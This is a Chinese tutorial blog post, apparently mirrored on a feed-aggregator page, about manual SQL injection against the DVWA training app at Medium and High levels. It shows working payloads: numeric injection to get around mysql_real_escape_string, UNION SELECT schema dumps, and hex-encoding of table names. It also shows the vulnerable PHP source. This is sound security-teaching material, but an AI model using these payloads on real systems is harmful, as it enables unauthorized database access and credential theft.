惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
A
About on SuperTechFans
博客园 - Franky
Engineering at Meta
Engineering at Meta
Recent Announcements
Recent Announcements
云风的 BLOG
云风的 BLOG
B
Blog
Microsoft Security Blog
Microsoft Security Blog
L
LangChain Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
U
Unit 42
Martin Fowler
Martin Fowler
Y
Y Combinator Blog
Stack Overflow Blog
Stack Overflow Blog
博客园 - 叶小钗
Vercel News
Vercel News
Apple Machine Learning Research
Apple Machine Learning Research
The Cloudflare Blog
Last Week in AI
Last Week in AI
腾讯CDC
Microsoft Azure Blog
Microsoft Azure Blog
爱范儿
爱范儿
V
V2EX
G
Google Developers Blog

技术改变视野

为程序员、设计师打造的摸鱼社区:摸鱼派! - 技术改变视野 大白话 | Java初学指♂男:“说说初学的误区与死结”( 壹 | 反射与Field ) - 技术改变视野 大白话之耦合性:什么是耦合性和内聚性?用编程语言实例讲解! - 技术改变视野 🎨 适用于 Solo / Bolo 的清新高级主题 —— Sakura | 移植自 WordPress 主题 - 技术改变视野 我在 GitHub 上的开源项目 - 技术改变视野 为IDEA/Git配置GPG密钥,点亮GitHub Verified Commit标识 - 技术改变视野 从 SpringMVC 转为使用 SpringBoot —— 手把手带你使用 Intellij IDEA 最快速地搭建 SpringBoot+MyBatis(无 XML)+Thymeleaf - 技术改变视野 无题 - 技术改变视野 年轻人的第一辆京牌电动车 - 技术改变视野 我们忙碌且漫长的一生,有多久是为自己而活? - 技术改变视野 一个最简单的实例理解Semaphore在Java中的作用 - 技术改变视野 说说《后浪》 - 技术改变视野 离线使用 Google Fonts:让你的网站更精致 | goofoffline 神器,一键下载生成离线字体库! - 技术改变视野 实例带你学会简单的Java Thread多线程 - 技术改变视野 一个实例理解Java的接口(interface)用处与用法 - 技术改变视野 一个实例带你理解JavaBean - 技术改变视野 WebFilter-SpringBoot过滤器注解实例讲解 - 技术改变视野 实例带你搞懂Java多线程&&线程池之(壹):线程池与多线程的关系和区别 - 技术改变视野 实例带你搞懂Java多线程&&线程池之(贰):简单的线程池应用 - 技术改变视野 实例带你获取多线程Thread的返回值之 (壹) - Callable的运行 - 技术改变视野 实例带你获取多线程Thread的返回值之 (贰) - Callable配合线程池返回数据 - 技术改变视野 一个实例理解Java Runnable多线程用处与用法 - 技术改变视野 从零开始OpenSSL之 (壹) - 使用genrsa、rsa、rsautl生成公私钥 - 技术改变视野 从零开始 OpenSSL 之 (贰) - 使用 rsautl 解密文件 - 技术改变视野 大白话之Docker(壹):快速入门&&简单官方实例 - 技术改变视野 大白话之Docker(贰):简单部署一个Tomcat服务并发布内容 - 技术改变视野 大白话之从零讲解DVWA(壹)-SQL注入(SQL Injection) Low Level - 技术改变视野 Java日志插件-Slog4J下载 - 技术改变视野 大白话之必会Java Atomic | 线程一点也不安全(一):比自增和synchronized更快速、靠谱的原子操作(调用C语言) - 技术改变视野 Log-MySQL root用户登录后无法查看数据库全部表/正常访问数据库 Access denied for user 'root'@'localhost' to database - 技术改变视野
大白话之从零讲解DVWA(贰)-SQL注入(SQL Injection) Medium/Hi...
adlered · 2019-12-09 · via 技术改变视野

前言

本章我们将进行MediumHigh等级的DVWA SQL Injection手工注入。

如没看过第一章,请点我跳转

阅读本篇文章前,你需要了解下面的知识:

  • 转义字符在PHP中的作用
  • MySQL:LIMIT语句的作用与用法

Medium Level SQL注入

和初级一样,我们输入如下语句:

11' order by 2 # 

但得到了如下结果:

1`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`

返回页面,点击右下角的View Source阅读源码,我们会发现:

1$id = mysql_real_escape_string($id);

出现了一个初级没有的方法:
mysql_real_escape_string将字符串中的:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

进行了转义的处理,而我们使用的单引号被从'转义为了\',所以注入语句无法执行。

换个思路,如果我们不使用单引号呢?

组建语句:

11 order by 2 # 

返回结果:

1ID: 1 order by 2 # 
2First name: admin
3Surname: admin

运气不错!但为什么会这样呢?

源码比对

对比低级中级的SQL执行语句:

低级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

中级:

1$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用单引号单独转换$id为字符串,所以被称为数字型注入。

实例测试

假设注入语句:

11' order by 2 # 

注入到低级语句,组成语句:

1SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '

我们可以看到,虽然多出了一个单引号,但我们使用#将其注释,所以#后面的不生效,语句成立。

注入到中级语句时,单引号会被过滤,语句无效。

再试试中级的注入语句1 order by 2 # 注入到中级语句:

1SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2

没有单引号的干扰,语句可以正常执行。

目前已知可渗透条件

  1. 语句执行方法:1 [SQL语句] #
  2. 如要使用union联合查询,必须返回两列,否则将报错。

Have a try

你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:

Trouble shooting

  • 测试语句中字符串的引号被转义
11 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 

这本应该是一条正确的语句,但'users'无论是使用单引号还是双引号都会被转义,所以我们应该将其转为16进制。

Python中输入如下命令:

1import binascii
2print binascii.b2a_hex('users')

这会将users转为16进制,这样我们就绕过了引号,且能被MySQL正常识别。

返回结果:

1>>> import binascii
2>>> print binascii.b2a_hex('users')
37573657273

7573657273便是users转换为16进制的结果。不仅可以使用Python进行进制转换,你也可以使用其它工具进行转换。

7573657273会被MySQL识别为整数,我们需要将它包装0x7573657273才能被正常识别为16进制。

组成语句:

11 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

得到返回结果:

1ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
2First name: admin  
3Surname: admin
4
5ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

成功!

High Level SQL注入

阅读源码:

 1<?php      
 2  
 3if (isset($_GET['Submit'])) {  
 4  
 5    // Retrieve data  
 6  
 7    $id = $_GET['id'];  
 8    $id = stripslashes($id);  
 9    $id = mysql_real_escape_string($id);  
10  
11    if (is_numeric($id)){  
12  
13        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";  
14        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );  
15  
16        $num = mysql_numrows($result);  
17  
18        $i=0;  
19  
20        while ($i < $num) {  
21  
22            $first = mysql_result($result,$i,"first_name");  
23            $last = mysql_result($result,$i,"last_name");  
24              
25            echo '<pre>';  
26            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;  
27            echo '</pre>';  
28  
29            $i++;  
30        }  
31    }  
32}  
33?>

这里使用的是DVWA1.8版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。

我们可以看到,它既封堵了分号的BUG,又同时将:

1SELECT first_name, last_name FROM users WHERE user_id = '$id'

数字型注入漏洞封堵了。所以该等级我换了一个版本的DVWA作演示:

DVWA1.9 - High Level源码:

 1<?php  
 2  
 3if( isset( $_SESSION [ 'id' ] ) ) {  
 4// Get input  
 5$id = $_SESSION[ 'id' ];  
 6  
 7// Check database  
 8$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";  
 9$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );  
10  
11// Get results  
12$num = mysql_numrows( $result );  
13$i   = 0;  
14    while( $i < $num ) {  
15// Get values  
16$first = mysql_result( $result, $i, "first_name" );  
17$last  = mysql_result( $result, $i, "last_name" );  
18  
19// Feedback for end user  
20echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";  
21  
22// Increase loop count  
23$i++;  
24    }  
25  
26mysql_close();  
27}  
28  
29?>

通过和中级的对比,我们可以看到多出了LIMIT 1的限制,它限制只输出一条结果。但由于我们使用了#进行注释,所以使用中级的方法就可以保证LIMIT 1不被执行。

后语

本文通过DVWA讲述了手工SQL注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。